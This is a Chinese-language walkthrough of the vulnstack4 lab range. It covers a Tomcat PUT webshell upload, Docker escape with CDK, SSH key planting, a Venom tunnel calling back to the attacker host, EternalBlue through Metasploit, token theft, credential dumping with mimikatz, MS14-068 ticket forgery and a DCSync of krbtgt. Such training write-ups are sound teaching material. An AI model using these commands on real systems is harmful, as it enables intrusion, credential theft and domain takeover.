一、外网打点
1.nmap扫描web服务器发现开启了 22、2001、2002、2003
浏览器挨个打开后发现 2001端口为struct2,2002端口为tomcat/8.5.19,2003为phpmyadmin三个docker服务均有漏洞,这里只介绍能够docker逃逸的tomcat服务
2.tomcat/8.5.19任意文件上传漏洞利用
在此页面刷新并开启bp抓包,抓包后修改GET为PUT传参并传入jsp木马 具体如下图
注意jsp后面加 /绕过!!
之后蚁剑连接
http://192.168.96.132:2002/ant.jsp
pwd:123
二、内网渗透
1.docker逃逸
Docker逃逸手段有很多:
内核漏洞:由于docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在docker容器内利用内核漏洞可能直接获取物理机权限。
DockerAPI未授权访问漏洞:当物理机的docker api开启并同意未授权访问时,在Docker容器内可使用Docker API新建一个Docker容器,并将物理机的根目录挂载到新Docker容器的某目录下。
Docker容器以特权模式启动:当docker容器是以特权模式启动启动时,可以使用mount命令将物理机的根目录挂载到当前Docker容器的某目录下
在docker容器中可以通过使用cdk进行不安全配置扫描,利用蚁剑进行文件上传
给予执行权限后依次执行如下命令
chmod +x cdk_linux_amd64
授权
./cdk_linux_amd64 evaluate --full
检查漏洞
./cdk_linux_amd64 mount-disk
目录挂载
效果如下
成功挂在目录 /tmp/cdk_KD1pm
2.由于此服务器开启了ssh端口,可以选择写SSH密钥方式获取物理机权限
在kali上执行
ssh-keygen -t rsa
生成rsa公私钥
将公钥的内容导入到挂载的目录。/tmp/CDK_KD1pm/root/.ssh/authorized_keys 中没有目录及文件的话自己创建即可导入 id_rsa.pub复制粘贴即可
之后利用MobaXterm ssh连接工具 输入私钥连接即可
3.内网信息收集
在本地起一个http服务 传入fscan 扫描即可不多介绍,也可以本地proxifier挂代理socks5后扫描
具体操作在vulnstack3有介绍
扫描结果是有三台主机 192.168.183.128 -130 其中129和130都开启了445端口且有ms17_010漏洞
4.ms17_010漏洞利用
由于kali是192.168.96.129处于不同网段因此web服务器传入Venom进行内网穿透,还是kali启动http服务,然后下载
然后在kali中输入以下命令
./admin_linux_x64 -lport 6666
在web服务器中输入
./agent_linux_x64 -rhost 192.168.96.129 -rport 6666
此时在/etc/proxychains4.conf中 添加 socks5 127.0.0.1 1080即可完成代理
然后启动msfconsole 常规利用依次输入以下命令
use exploit/windows/smb/ms17_010_eternablue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.129 (注意这里填win7的ip win2008打不通不知道为啥)
run
5.由win7获取域控权限并获取hash(猕猴桃、ms14-068 win7靶机有了无需下载传入)
由systeminfo查看漏洞补丁,可知MS14-068(漏洞分析MS14-068漏洞分析 | Hexo)可以利用,win7机上有了漏洞利用的exe了我们查看一下需要的参数(还需要当前域用户的明文密码)
由于永恒之蓝获取的为管理员权限于是要进行降权获得douser的身份并查看userSid
降权就是偷取身份令牌并接管
推出shell后 输入PS查看douser的进程
2428 500 taskhost.exe x64 1 DEMO\douser C:\Windows\system32\task
host.exe
2564 880 dwm.exe x64 1 DEMO\douser C:\Windows\system32\Dwm.
exe
2576 2556 explorer.exe x64 1 DEMO\douser C:\Windows\Explorer.EXE
2672 2576 vmtoolsd.exe x64 1 DEMO\douser C:\Program Files\VMware\
VMware Tools\vmtoolsd.ex
e
利用steal_token +进程号 即可之后查看UID
明文密码利用 load kiwi里的creds_all模块即可得知明文密码为Dotest123
输入以下命令利用ms14-068获取票据
ms14-068 -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
之后输入rev2self命令返回管理员权限
利用猕猴桃获取域管的权限
命令如下
kerberos::ptc TGT_douser@demo.com.ccache
利用如下命令即可获取hash
lsadump::dcsync /user:krbtgt /domain:demo.com
本文章参考[网络安全/域渗透]内网安全入门靶场 vulnstack4攻略_哔哩哔哩_bilibili
书:内网渗透实战攻略